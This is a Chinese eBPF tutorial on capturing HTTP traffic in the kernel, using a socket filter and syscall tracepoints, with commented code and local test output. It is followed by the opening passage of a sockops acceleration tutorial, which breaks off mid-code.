高性能需求:在高流量的生产环境中,捕获和分析七层协议的流量可能会对系统性能产生影响。传统的网络监控工具可能无法处理大量的并发会话。
-
数据的完整性和连续性:与 tcpdump 这样的工具只捕获单独的数据包不同,追踪七层协议需要捕获完整的会话,这可能涉及多个数据包。这要求工具能够正确地重组和解析这些数据包,以提供连续的会话视图。
-
代码侵入性:为了深入了解七层协议的行为,开发人员可能需要修改应用程序代码以添加监控功能。这不仅增加了开发和维护的复杂性,而且可能会影响应用程序的性能。
正如上文所述,eBPF 提供了一个强大的解决方案,允许我们在内核层面捕获和分析七层协议的流量,而无需对应用程序进行任何修改。这种方法为我们提供了一个独特的机会,可以更简单、更高效地处理应用层流量,特别是在微服务和分布式环境中。
在处理网络流量和系统行为时,选择在内核态而非用户态进行处理有其独特的优势。首先,内核态处理可以直接访问系统资源和硬件,从而提供更高的性能和效率。其次,由于内核是操作系统的核心部分,它可以提供对系统行为的全面视图,而不受任何用户空间应用程序的限制。
**无插桩追踪("zero-instrumentation observability")**的优势如下:
- 性能开销小:由于不需要修改或添加额外的代码到应用程序中,所以对性能的影响最小化。
- 透明性:开发者和运维人员不需要知道应用程序的内部工作原理,也不需要访问源代码。
- 灵活性:可以轻松地在不同的环境和应用程序中部署和使用,无需进行任何特定的配置或修改。
- 安全性:由于不需要修改应用程序代码,所以降低了引入潜在安全漏洞的风险。
利用 eBPF 在内核态进行无插桩追踪,我们可以实时捕获和分析系统的行为,而不需要对应用程序进行任何修改。这种方法不仅提供了对系统深入的洞察力,而且确保了最佳的性能和效率。这是为什么 eBPF 成为现代可观测性工具的首选技术,特别是在需要高性能和低延迟的生产环境中。
eBPF 中的 socket filter 与 syscall 追踪:深入解析与比较
eBPF Socket Filter
是什么? eBPF socket filter 是经典的 Berkeley Packet Filter (BPF) 的扩展,允许在内核中直接进行更高级的数据包过滤。它在套接字层操作,使得可以精细地控制哪些数据包被用户空间应用程序处理。
主要特点:
- 性能:通过在内核中直接处理数据包,eBPF socket filters 减少了用户和内核空间之间的上下文切换的开销。
- 灵活性:eBPF socket filters 可以附加到任何套接字,为各种协议和套接字类型提供了通用的数据包过滤机制。
- 可编程性:开发者可以编写自定义的 eBPF 程序来定义复杂的过滤逻辑,超越简单的数据包匹配。
用途:
- 流量控制:根据自定义条件限制或优先处理流量。
- 安全性:在它们到达用户空间应用程序之前丢弃恶意数据包。
- 监控:捕获特定数据包进行分析,而不影响其它流量。
eBPF Syscall Tracing
是什么? 使用 eBPF 进行的系统调用跟踪允许监视和操作应用程序发出的系统调用。系统调用是用户空间应用程序与内核交互的主要机制,因此跟踪它们可以深入了解应用程序的行为。
主要特点:
- 粒度:eBPF 允许跟踪特定的系统调用,甚至是这些系统调用中的特定参数。
- 低开销:与其他跟踪方法相比,eBPF 系统调用跟踪旨在具有最小的性能影响。
- 安全性:内核验证 eBPF 程序,以确保它们不会损害系统稳定性。
工作原理: eBPF 系统调用跟踪通常涉及将 eBPF 程序附加到与系统调用相关的 tracepoints 或 kprobes。当跟踪的系统调用被调用时,执行 eBPF 程序,允许收集数据或甚至修改系统调用参数。
eBPF 的 socket filter 和 syscall 追踪的对比
| 项目 | eBPF Socket Filter | eBPF Syscall Tracing |
|---|---|---|
| 操作层 | 套接字层,主要处理从套接字接收或发送的网络数据包 | 系统调用层,监视和可能更改应用程序发出的系统调用的行为 |
| 主要用途 | 主要用于网络数据包的过滤、监控和操作 | 用于性能分析、安全监控和系统调用交互的调试 |
| 粒度 | 专注于单个网络数据包 | 可以监视与网络无关的广泛的系统活动 |
| 追踪 HTTP 流量 | 可以用于过滤和捕获通过套接字传递的 HTTP 数据包 | 可以跟踪与网络操作相关的系统调用 |
总之,eBPF 的 socket filter 和 syscall 追踪都可以用于追踪 HTTP 流量,但 socket filters 更直接且更适合此目的。然而,如果您对应用程序如何与系统交互的更广泛的上下文感兴趣(例如,哪些系统调用导致了 HTTP 流量),那么系统调用跟踪将是非常有价值的。在许多高级的可观察性设置中,这两种工具可能会同时使用,以提供系统和网络行为的全面视图。
使用 eBPF socket filter 来捕获 HTTP 流量
eBPF 代码由用户态和内核态组成,这里主要关注于内核态代码。这是使用 eBPF socket filter 技术来在内核中捕获HTTP流量的主要逻辑,完整代码如下:
SEC("socket")
int socket_handler(struct __sk_buff *skb)
{
struct so_event *e;
__u8 verlen;
__u16 proto;
__u32 nhoff = ETH_HLEN;
__u32 ip_proto = 0;
__u32 tcp_hdr_len = 0;
__u16 tlen;
__u32 payload_offset = 0;
__u32 payload_length = 0;
__u8 hdr_len;
bpf_skb_load_bytes(skb, 12, &proto, 2);
proto = __bpf_ntohs(proto);
if (proto != ETH_P_IP)
return 0;
if (ip_is_fragment(skb, nhoff))
return 0;
// ip4 header lengths are variable
// access ihl as a u8 (linux/include/linux/skbuff.h)
bpf_skb_load_bytes(skb, ETH_HLEN, &hdr_len, sizeof(hdr_len));
hdr_len &= 0x0f;
hdr_len *= 4;
/* verify hlen meets minimum size requirements */
if (hdr_len < sizeof(struct iphdr))
{
return 0;
}
bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, protocol), &ip_proto, 1);
if (ip_proto != IPPROTO_TCP)
{
return 0;
}
tcp_hdr_len = nhoff + hdr_len;
bpf_skb_load_bytes(skb, nhoff + 0, &verlen, 1);
bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, tot_len), &tlen, sizeof(tlen));
__u8 doff;
bpf_skb_load_bytes(skb, tcp_hdr_len + offsetof(struct __tcphdr, ack_seq) + 4, &doff, sizeof(doff)); // read the first byte past __tcphdr->ack_seq, we can't do offsetof bit fields
doff &= 0xf0; // clean-up res1
doff >>= 4; // move the upper 4 bits to low
doff *= 4; // convert to bytes length
payload_offset = ETH_HLEN + hdr_len + doff;
payload_length = __bpf_ntohs(tlen) - hdr_len - doff;
char line_buffer[7];
if (payload_length < 7 || payload_offset < 0)
{
return 0;
}
bpf_skb_load_bytes(skb, payload_offset, line_buffer, 7);
bpf_printk("%d len %d buffer: %s", payload_offset, payload_length, line_buffer);
if (bpf_strncmp(line_buffer, 3, "GET") != 0 &&
bpf_strncmp(line_buffer, 4, "POST") != 0 &&
bpf_strncmp(line_buffer, 3, "PUT") != 0 &&
bpf_strncmp(line_buffer, 6, "DELETE") != 0 &&
bpf_strncmp(line_buffer, 4, "HTTP") != 0)
{
return 0;
}
/* reserve sample from BPF ringbuf */
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
if (!e)
return 0;
e->ip_proto = ip_proto;
bpf_skb_load_bytes(skb, nhoff + hdr_len, &(e->ports), 4);
e->pkt_type = skb->pkt_type;
e->ifindex = skb->ifindex;
e->payload_length = payload_length;
bpf_skb_load_bytes(skb, payload_offset, e->payload, MAX_BUF_SIZE);
bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, saddr), &(e->src_addr), 4);
bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, daddr), &(e->dst_addr), 4);
bpf_ringbuf_submit(e, 0);
return skb->len;
}
当分析这段eBPF程序时,我们将按照每个代码块的内容来详细解释,并提供相关的背景知识:
SEC("socket")
int socket_handler(struct __sk_buff *skb)
{
// ...
}
这是eBPF程序的入口点,它定义了一个名为 socket_handler 的函数,它会被内核用于处理传入的网络数据包。这个函数位于一个名为 socket 的 eBPF 节(section)中,表明这个程序用于套接字处理。
struct so_event *e;
__u8 verlen;
__u16 proto;
__u32 nhoff = ETH_HLEN;
__u32 ip_proto = 0;
__u32 tcp_hdr_len = 0;
__u16 tlen;
__u32 payload_offset = 0;
__u32 payload_length = 0;
__u8 hdr_len;
在这个代码块中,我们定义了一些变量来存储在处理数据包时需要的信息。这些变量包括了struct so_event *e用于存储事件信息,verlen、proto、nhoff、ip_proto、tcp_hdr_len、tlen、payload_offset、payload_length、hdr_len等用于存储数据包信息的变量。
struct so_event *e;:这是一个指向so_event结构体的指针,用于存储捕获到的事件信息。该结构体的具体定义在程序的其他部分。__u8 verlen;、__u16 proto;、__u32 nhoff = ETH_HLEN;:这些变量用于存储各种信息,例如协议类型、数据包偏移量等。nhoff初始化为以太网帧头部的长度,通常为14字节,因为以太网帧头部包括目标MAC地址、源MAC地址和帧类型字段。__u32 ip_proto = 0;:这个变量用于存储IP协议的类型,初始化为0。__u32 tcp_hdr_len = 0;:这个变量用于存储TCP头部的长度,初始化为0。__u16 tlen;:这个变量用于存储IP数据包的总长度。__u32 payload_offset = 0;、__u32 payload_length = 0;:这两个变量用于存储HTTP请求的载荷(payload)的偏移量和长度。__u8 hdr_len;:这个变量用于存储IP头部的长度。
bpf_skb_load_bytes(skb, 12, &proto, 2);
proto = __bpf_ntohs(proto);
if (proto != ETH_P_IP)
return 0;
在这里,代码从数据包中加载了以太网帧的类型字段,这个字段告诉我们数据包使用的网络层协议。然后,使用__bpf_ntohs函数将网络字节序的类型字段转换为主机字节序。接下来,代码检查类型字段是否等于IPv4的以太网帧类型(0x0800)。如果不等于,说明这个数据包不是IPv4数据包,直接返回0,放弃处理。
这里需要了解以下几个概念:
- 以太网帧(Ethernet Frame):是数据链路层(第二层)的协议,用于在局域网中传输数据帧。以太网帧通常包括目标MAC地址、源MAC地址和帧类型字段。
- 网络字节序(Network Byte Order):网络协议通常使用大端字节序(Big-Endian)来表示数据。因此,需要将从网络中接收到的数据转换为主机字节序,以便在主机上正确解释数据。
- IPv4帧类型(ETH_P_IP):表示以太网帧中包含的协议类型字段,0x0800表示IPv4。
if (ip_is_fragment(skb, nhoff))
return 0;
这一部分的代码检查是否处理IP分片。IP分片是将较大的IP数据包分割成多个小片段以进行传输的机制。在这里,如果数据包是IP分片,则直接返回0,表示不处理分片,只处理完整的数据包。
static inline int ip_is_fragment(struct __sk_buff *skb, __u32 nhoff)
{
__u16 frag_off;
bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, frag_off), &frag_off, 2);
frag_off = __bpf_ntohs(frag_off);
return frag_off & (IP_MF | IP_OFFSET);
}
上述代码是一个辅助函数,用于检查传入的IPv4数据包是否为IP分片。IP分片是一种机制,当IP数据包的大小超过了网络的最大传输单元(MTU),路由器会将其分割成多个较小的片段,以便在网络上进行传输。这个函数的目的是检查数据包的分片标志(Fragmentation Flag)以及片偏移(Fragment Offset)字段,以确定是否为分片。
下面是代码的逐行解释:
__u16 frag_off;:定义一个16位无符号整数变量frag_off,用于存储片偏移字段的值。bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, frag_off), &frag_off, 2);:这行代码使用bpf_skb_load_bytes函数从数据包中加载IPv4头部的片偏移字段(frag_off),并加载2个字节。nhoff是IPv4头部在数据包中的偏移量,offsetof(struct iphdr, frag_off)用于计算片偏移字段在IPv4头部中的偏移量。frag_off = __bpf_ntohs(frag_off);:将加载的片偏移字段从网络字节序(Big-Endian)转换为主机字节序。网络协议通常使用大端字节序表示数据,而主机可能使用大端或小端字节序。这里将片偏移字段转换为主机字节序,以便进一步处理。return frag_off & (IP_MF | IP_OFFSET);:这行代码通过使用位运算检查片偏移字段的值,以确定是否为IP分片。具体来说,它使用位与运算符&将片偏移字段与两个标志位进行位与运算:IP_MF:表示"更多分片"标志(More Fragments)。如果这个标志位被设置为1,表示数据包是分片的一部分,还有更多分片。IP_OFFSET:表示片偏移字段。如果片偏移字段不为0,表示数据包是分片的一部分,且具有片偏移值。 如果这两个标志位中的任何一个被设置为1,那么结果就不为零,说明数据包是IP分片。如果都为零,说明数据包不是分片。
需要注意的是,IP头部的片偏移字段以8字节为单位,所以实际的片偏移值需要左移3位来得到字节偏移。此外,IP头部的"更多分片"标志(IP_MF)表示数据包是否有更多的分片,通常与片偏移字段一起使用来指示整个数据包的分片情况。这个函数只关心这两个标志位,如果其中一个标志被设置,就认为是IP分片。
bpf_skb_load_bytes(skb, ETH_HLEN, &hdr_len, sizeof(hdr_len));
hdr_len &= 0x0f;
hdr_len *= 4;
这一部分的代码从数据包中加载IP头部的长度字段。IP头部长度字段包含了IP头部的长度信息,以4字节为单位,需要将其转换为字节数。这里通过按位与和乘以4来进行转换。
需要了解:
- IP头部(IP Header):IP头部包含了关于数据包的基本信息,如源IP地址、目标IP地址、协议类型和头部校验和等。头部长度字段(IHL,Header Length)表示IP头部的长度,以4字节为单位,通常为20字节(5个4字节的字)。
if (hdr_len < sizeof(struct iphdr))
{
return 0;
}
这段代码检查IP头部的长度是否满足最小长度要求,通常IP头部的最小长度是20字节。如果IP头部的长度小于20字节,说明数据包不完整或损坏,直接返回0,放弃处理。
需要了解:
struct iphdr:这是Linux内核中定义的结构体,表示IPv4头部的格式。它包括了版本、头部长度、服务类型、总长度、
标识符、标志位、片偏移、生存时间、协议、头部校验和、源IP地址和目标IP地址等字段。
bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, protocol), &ip_proto, 1);
if (ip_proto != IPPROTO_TCP)
{
return 0;
}
在这里,代码从数据包中加载IP头部中的协议字段,以确定数据包使用的传输层协议。然后,它检查协议字段是否为TCP协议(IPPROTO_TCP)。如果不是TCP协议,说明不是HTTP请求或响应,直接返回0。
需要了解:
- 传输层协议:IP头部中的协议字段指示了数据包所使用的传输层协议,例如TCP、UDP或ICMP。
tcp_hdr_len = nhoff + hdr_len;
这行代码计算了TCP头部的偏移量。它将以太网帧头部的长度(nhoff)与IP头部的长度(hdr_len)相加,得到TCP头部的起始位置。
bpf_skb_load_bytes(skb, nhoff + 0, &verlen, 1);
这行代码从数据包中加载TCP头部的第一个字节,该字节包含了TCP头部长度信息。这个长度字段以4字节为单位,需要进行后续的转换。
bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, tot_len), &tlen, sizeof(tlen));
这行代码从数据包中加载IP头部的总长度字段。IP头部总长度字段表示整个IP数据包的长度,包括IP头部和数据部分。
__u8 doff;
bpf_skb_load_bytes(skb, tcp_hdr_len + offsetof(struct __tcphdr, ack_seq) + 4, &doff, sizeof(doff));
doff &= 0xf0;
doff >>= 4;
doff *= 4;
这段代码用于计算TCP头部的长度。它加载TCP头部中的数据偏移字段(Data Offset,也称为头部长度字段),该字段表示TCP头部的长度以4字节为单位。代码将偏移字段的高四位清零,然后将其右移4位,最后乘以4,得到TCP头部的实际长度。
需要了解:
- TCP头部(TCP Header):TCP头部包含了TCP协议相关的信息,如源端口、目标端口、序列号、确认号、标志位(如SYN、ACK、FIN等)、窗口大小和校验和等。
payload_offset = ETH_HLEN + hdr_len + doff;
payload_length = __bpf_ntohs(tlen) - hdr_len - doff;
这两行代码计算HTTP请求的载荷(payload)的偏移量和长度。它们将以太网帧头部长度、IP头部长度和TCP头部长度相加,得到HTTP请求的数据部分的偏移量,然后通过减去总长度、IP头部长度和TCP头部长度,计算出HTTP请求数据的长度。
需要了解:
- HTTP请求载荷(Payload):HTTP请求中包含的实际数据部分,通常是HTTP请求头和请求体。
char line_buffer[7];
if (payload_length < 7 || payload_offset < 0)
{
return 0;
}
bpf_skb_load_bytes(skb, payload_offset, line_buffer, 7);
bpf_printk("%d len %d buffer: %s", payload_offset, payload_length, line_buffer);
这部分代码用于加载HTTP请求行的前7个字节,存储在名为line_buffer的字符数组中。然后,它检查HTTP请求数据的长度是否小于7字节或偏移量是否为负数,如果满足这些条件,说明HTTP请求不完整,直接返回0。最后,它使用bpf_printk函数将HTTP请求行的内容打印到内核日志中,以供调试和分析。
if (bpf_strncmp(line_buffer, 3, "GET") != 0 &&
bpf_strncmp(line_buffer, 4, "POST") != 0 &&
bpf_strncmp(line_buffer, 3, "PUT") != 0 &&
bpf_strncmp(line_buffer, 6, "DELETE") != 0 &&
bpf_strncmp(line_buffer, 4, "HTTP") != 0)
{
return 0;
}
注意:bpf_strncmp 这个内核 helper 在 5.17 版本中才被引入,如果你的内核版本低于 5.17,可以手动匹配字符串来实现相同的功能。
这段代码使用bpf_strncmp函数比较line_buffer中的数据与HTTP请求方法(GET、POST、PUT、DELETE、HTTP)是否匹配。如果不匹配,说明不是HTTP请求,直接返回0,放弃处理。
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
if (!e)
return 0;
这部分代码尝试从BPF环形缓冲区中保留一块内存以存储事件信息。如果无法保留内存块,返回0。BPF环形缓冲区用于在eBPF程序和用户空间之间传递事件数据。
需要了解:
- BPF环形缓冲区:BPF环形缓冲区是一种在eBPF程序和用户空间之间传递数据的机制。它可以用来存储事件信息,以便用户空间应用程序进行进一步处理或分析。
e->ip_proto = ip_proto;
bpf_skb_load_bytes(skb, nhoff + hdr_len, &(e->ports), 4);
e->pkt_type = skb->pkt_type;
e->ifindex = skb->ifindex;
e->payload_length = payload_length;
bpf_skb_load_bytes(skb, payload_offset, e->payload, MAX_BUF_SIZE);
bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, saddr), &(e->src_addr), 4);
bpf_skb_load_bytes(skb, nhoff + offsetof(struct iphdr, daddr), &(e->dst_addr), 4);
bpf_ringbuf_submit(e, 0);
return skb->len;
最后,这段代码将捕获到的事件信息存储在e结构体中,并将
其提交到BPF环形缓冲区。它包括了捕获的IP协议、源端口和目标端口、数据包类型、接口索引、载荷长度、源IP地址和目标IP地址等信息。最后,它返回数据包的长度,表示成功处理了数据包。
这段代码主要用于将捕获的事件信息存储起来,以便后续的处理和分析。 BPF环形缓冲区用于将这些信息传递到用户空间,供用户空间应用程序进一步处理或记录。
总结:这段eBPF程序的主要任务是捕获HTTP请求,它通过解析数据包的以太网帧、IP头部和TCP头部来确定数据包是否包含HTTP请求,并将有关请求的信息存储在so_event结构体中,然后提交到BPF环形缓冲区。这是一种高效的方法,可以在内核层面捕获HTTP流量,适用于网络监控和安全分析等应用。
潜在缺陷
上述代码也存在一些潜在的缺陷,其中一个主要缺陷是它无法处理跨多个数据包的URL。
- 跨包URL:代码中通过解析单个数据包来检查HTTP请求中的URL,如果HTTP请求的URL跨足够多的数据包,那么只会检查第一个数据包中的URL部分。这会导致丢失或部分记录那些跨多个数据包的长URL。
解决这个问题的方法通常需要对多个数据包进行重新组装,以还原完整的HTTP请求。这可能需要在eBPF程序中实现数据包的缓存和组装逻辑,并在检测到HTTP请求结束之前等待并收集所有相关数据包。这需要更复杂的逻辑和额外的内存来处理跨多个数据包的情况。
用户态代码
用户态代码的主要目的是创建一个原始套接字(raw socket),然后将先前在内核中定义的eBPF程序附加到该套接字上,从而允许eBPF程序捕获和处理从该套接字接收到的网络数据包,例如:
/* Create raw socket for localhost interface */
sock = open_raw_sock(interface);
if (sock < 0) {
err = -2;
fprintf(stderr, "Failed to open raw socket\n");
goto cleanup;
}
/* Attach BPF program to raw socket */
prog_fd = bpf_program__fd(skel->progs.socket_handler);
if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd))) {
err = -3;
fprintf(stderr, "Failed to attach to raw socket\n");
goto cleanup;
}
sock = open_raw_sock(interface);:这行代码调用了一个自定义的函数open_raw_sock,该函数用于创建一个原始套接字。原始套接字允许用户态应用程序直接处理网络数据包,而不经过协议栈的处理。函数open_raw_sock可能需要一个参数interface,用于指定网络接口,以便确定从哪个接口接收数据包。如果创建套接字失败,它将返回一个负数,否则返回套接字的文件描述符sock。- 如果
sock的值小于0,表示打开原始套接字失败,那么将err设置为-2,并在标准错误流上输出一条错误信息。 prog_fd = bpf_program__fd(skel->progs.socket_handler);:这行代码获取之前在eBPF程序定义中的套接字过滤器程序(socket_handler)的文件描述符,以便后续将它附加到套接字上。skel是一个eBPF程序对象的指针,可以通过它来访问程序集合。setsockopt(sock, SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)):这行代码使用setsockopt系统调用将eBPF程序附加到原始套接字。它设置了SO_ATTACH_BPF选项,将eBPF程序的文件描述符传递给该选项,以便内核知道要将哪个eBPF程序应用于这个套接字。如果附加成功,套接字将开始捕获和处理从中接收到的网络数据包。- 如果
setsockopt失败,它将err设置为-3,并在标准错误流上输出一条错误信息。
编译运行
完整的源代码可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/23-http 中找到。关于如何安装依赖,请参考:https://eunomia.dev/tutorials/11-bootstrap/ 编译运行上述代码:
$ git submodule update --init --recursive
$ make
BPF .output/sockfilter.bpf.o
GEN-SKEL .output/sockfilter.skel.h
CC .output/sockfilter.o
BINARY sockfilter
$ sudo ./sockfilter
...
在另外一个窗口中,使用 python 启动一个简单的 web server:
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [18/Sep/2023 01:05:52] "GET / HTTP/1.1" 200 -
可以使用 curl 发起请求:
$ curl http://0.0.0.0:8000/
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /</title>
....
在 eBPF 程序中,可以看到打印出了 HTTP 请求的内容:
127.0.0.1:34552(src) -> 127.0.0.1:8000(dst)
payload: GET / HTTP/1.1
Host: 0.0.0.0:8000
User-Agent: curl/7.88.1
...
127.0.0.1:8000(src) -> 127.0.0.1:34552(dst)
payload: HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.11.4
...
分别包含了请求和响应的内容。
使用 eBPF syscall tracepoint 来捕获 HTTP 流量
eBPF 提供了一种强大的机制,允许我们在内核级别追踪系统调用。在这个示例中,我们将使用 eBPF 追踪 accept 和 read 系统调用,以捕获 HTTP 流量。由于篇幅有限,这里我们仅仅对代码框架做简要的介绍。
struct
{
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 4096);
__type(key, u64);
__type(value, struct accept_args_t);
} active_accept_args_map SEC(".maps");
// 定义在 accept 系统调用入口的追踪点
SEC("tracepoint/syscalls/sys_enter_accept")
int sys_enter_accept(struct trace_event_raw_sys_enter *ctx)
{
u64 id = bpf_get_current_pid_tgid();
// ... 获取和存储 accept 调用的参数
bpf_map_update_elem(&active_accept_args_map, &id, &accept_args, BPF_ANY);
return 0;
}
// 定义在 accept 系统调用退出的追踪点
SEC("tracepoint/syscalls/sys_exit_accept")
int sys_exit_accept(struct trace_event_raw_sys_exit *ctx)
{
// ... 处理 accept 调用的结果
struct accept_args_t *args =
bpf_map_lookup_elem(&active_accept_args_map, &id);
// ... 获取和存储 accept 调用获得的 socket 文件描述符
__u64 pid_fd = ((__u64)pid << 32) | (u32)ret_fd;
bpf_map_update_elem(&conn_info_map, &pid_fd, &conn_info, BPF_ANY);
// ...
}
struct
{
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 4096);
__type(key, u64);
__type(value, struct data_args_t);
} active_read_args_map SEC(".maps");
// 定义在 read 系统调用入口的追踪点
SEC("tracepoint/syscalls/sys_enter_read")
int sys_enter_read(struct trace_event_raw_sys_enter *ctx)
{
// ... 获取和存储 read 调用的参数
bpf_map_update_elem(&active_read_args_map, &id, &read_args, BPF_ANY);
return 0;
}
// 辅助函数,检查是否为 HTTP 连接
static inline bool is_http_connection(const char *line_buffer, u64 bytes_count)
{
// ... 检查数据是否为 HTTP 请求或响应
}
// 辅助函数,处理读取的数据
static inline void process_data(struct trace_event_raw_sys_exit *ctx,
u64 id, const struct data_args_t *args, u64 bytes_count)
{
// ... 处理读取的数据,检查是否为 HTTP 流量,并发送事件
if (is_http_connection(line_buffer, bytes_count))
{
// ...
bpf_probe_read_kernel(&event.msg, read_size, args->buf);
// ...
bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU,
&event, sizeof(struct socket_data_event_t));
}
}
// 定义在 read 系统调用退出的追踪点
SEC("tracepoint/syscalls/sys_exit_read")
int sys_exit_read(struct trace_event_raw_sys_exit *ctx)
{
// ... 处理 read 调用的结果
struct data_args_t *read_args = bpf_map_lookup_elem(&active_read_args_map, &id);
if (read_args != NULL)
{
process_data(ctx, id, read_args, bytes_count);
}
// ...
return 0;
}
char _license[] SEC("license") = "GPL";
这段代码简要展示了如何使用eBPF追踪Linux内核中的系统调用来捕获HTTP流量。以下是对代码的hook位置和流程的详细解释,以及需要hook哪些系统调用来实现完整的请求追踪:
Hook 位置和流程
-
该代码使用了eBPF的Tracepoint功能,具体来说,它定义了一系列的eBPF程序,并将它们绑定到了特定的系统调用的Tracepoint上,以捕获这些系统调用的入口和退出事件。
-
首先,它定义了两个eBPF哈希映射(
active_accept_args_map和active_read_args_map)来存储系统调用参数。这些映射用于跟踪accept和read系统调用。 -
接着,它定义了多个Tracepoint追踪程序,其中包括:
sys_enter_accept:定义在accept系统调用的入口处,用于捕获accept系统调用的参数,并将它们存储在哈希映射中。sys_exit_accept:定义在accept系统调用的退出处,用于处理accept系统调用的结果,包括获取和存储新的套接字文件描述符以及建立连接的相关信息。sys_enter_read:定义在read系统调用的入口处,用于捕获read系统调用的参数,并将它们存储在哈希映射中。sys_exit_read:定义在read系统调用的退出处,用于处理read系统调用的结果,包括检查读取的数据是否为HTTP流量,如果是,则发送事件。
-
在
sys_exit_accept和sys_exit_read中,还涉及一些数据处理和事件发送的逻辑,例如检查数据是否为HTTP连接,组装事件数据,并使用bpf_perf_event_output将事件发送到用户空间供进一步处理。
需要 Hook 的完整系统调用
要实现完整的HTTP请求追踪,通常需要hook的系统调用包括:
socket:用于捕获套接字创建,以追踪新的连接。bind:用于获取绑定的端口信息。listen:用于开始监听连接请求。accept:用于接受连接请求,获取新的套接字文件描述符。read:用于捕获接收到的数据,以检查其中是否包含 HTTP 请求。write:用于捕获发送的数据,以检查其中是否包含 HTTP 响应。
上述代码已经涵盖了accept和read系统调用的追踪。要完整实现HTTP请求的追踪,还需要hook其他系统调用,并实现相应的逻辑来处理这些系统调用的参数和结果。
完整的源代码可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/23-http 中找到。
总结
在当今复杂的技术环境中,系统的可观测性变得至关重要,特别是在微服务和云原生应用程序的背景下。本文探讨了如何利用eBPF技术来追踪七层协议,以及在这个过程中可能面临的挑战和解决方案。以下是对本文内容的总结:
-
背景介绍:
- 现代应用程序通常由多个微服务和分布式组件组成,因此观测整个系统的行为至关重要。
- 七层协议(如HTTP、gRPC、MQTT等)提供了深入了解应用程序交互的详细信息,但监控这些协议通常具有挑战性。
-
eBPF技术的作用:
- eBPF允许开发者在不修改或插入应用程序代码的情况下,深入内核层来实时观测和分析系统行为。
- eBPF技术为监控七层协议提供了一个强大的工具,特别适用于微服务环境。
-
追踪七层协议:
- 本文介绍了如何追踪HTTP等七层协议的挑战,包括协议的复杂性和动态性。
- 传统的网络监控工具难以应对七层协议的复杂性。
-
eBPF的应用:
- eBPF提供两种主要方法来追踪七层协议:socket filter和syscall trace。
- 这两种方法可以帮助捕获HTTP等协议的网络请求数据,并分析它们。
-
eBPF实践教程:
- 本文提供了一个实际的eBPF教程,演示如何使用eBPF socket filter或syscall trace来捕获和分析HTTP流量。
- 教程内容包括开发eBPF程序、使用eBPF工具链和实施HTTP请求的追踪。
通过这篇文章,读者可以获得深入了解如何使用eBPF技术来追踪七层协议,尤其是HTTP流量的知识。这将有助于更好地监控和分析网络流量,从而提高应用程序性能和安全性。如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
原文地址:https://eunomia.dev/zh/tutorials/23-http/ 转载请注明出处。
eBPF 开发实践:使用 sockops 加速网络请求转发
eBPF(扩展的伯克利数据包过滤器)是 Linux 内核中的一个强大功能,可以在无需更改内核源代码或重启内核的情况下,运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。
本教程将关注 eBPF 在网络领域的应用,特别是如何使用 sockops 类型的 eBPF 程序来加速本地网络请求的转发。这种应用通常在使用软件负载均衡器进行请求转发的场景中很有价值,比如使用 Nginx 或 HAProxy 之类的工具。
在许多工作负载中,如微服务架构下的服务间通信,通过本机进行的网络请求的性能开销可能会对整个应用的性能产生显著影响。由于这些请求必须经过本机的网络栈,其处理性能可能会成为瓶颈,尤其是在高并发的场景下。为了解决这个问题,sockops 类型的 eBPF 程序可以用于加速本地的请求转发。sockops 程序可以在内核空间管理套接字,实现在本机上的套接字之间直接转发数据包,从而降低了在 TCP/IP 栈中进行数据包转发所需的 CPU 时间。
本教程将会通过一个具体的示例演示如何使用 sockops 类型的 eBPF 程序来加速网络请求的转发。为了让你更好地理解如何使用 sockops 程序,我们将逐步介绍示例程序的代码,并讨论每个部分的工作原理。完整的源代码和工程可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/29-sockops 中找到。
利用 eBPF 的 sockops 进行性能优化
网络连接本质上是 socket 之间的通讯,eBPF 提供了一个 bpf_msg_redirect_hash 函数,用来将应用发出的包直接转发到对端的 socket,可以极大地加速包在内核中的处理流程。
这里 sock_map 是记录 socket 规则的关键部分,即根据当前的数据包信息,从 sock_map 中挑选一个存在的 socket 连接来转发请求。所以需要先在 sockops 的 hook 处或者其它地方,将 socket 信息保存到 sock_map,并提供一个规则 (一般为四元组) 根据 key 查找到 socket。
Merbridge 项目就是这样实现了用 eBPF 代替 iptables 为 Istio 进行加速。在使用 Merbridge (eBPF) 优化之后,出入口流量会直接跳过很多内核模块,明显提高性能,如下图所示:

示例程序
此示例程序从发送者的套接字(出口)重定向流量至接收者的套接字(入口),跳过 TCP/IP 内核网络栈。在这个示例中,我们假定发送者和接收者都在同一台机器上运行。这个示例程序有两个部分,它们共享一个 map 定义:
bpf_sockmap.h
#include "vmlinux.h"
#include <bpf/bpf_endian.h>
#include <bpf/bpf_helpers.h>
#define LOCALHOST_IPV4 16777343
struct sock_key {
__u32 sip;
__u32 dip;
__u32 sport;
__u32 dport;
__u32 family;
};
struct {
__uint(type, BPF_MAP_TYPE_SOCKHASH);
__uint(max_entries, 65535);
__type(key, struct sock_key);
__type(value, int);
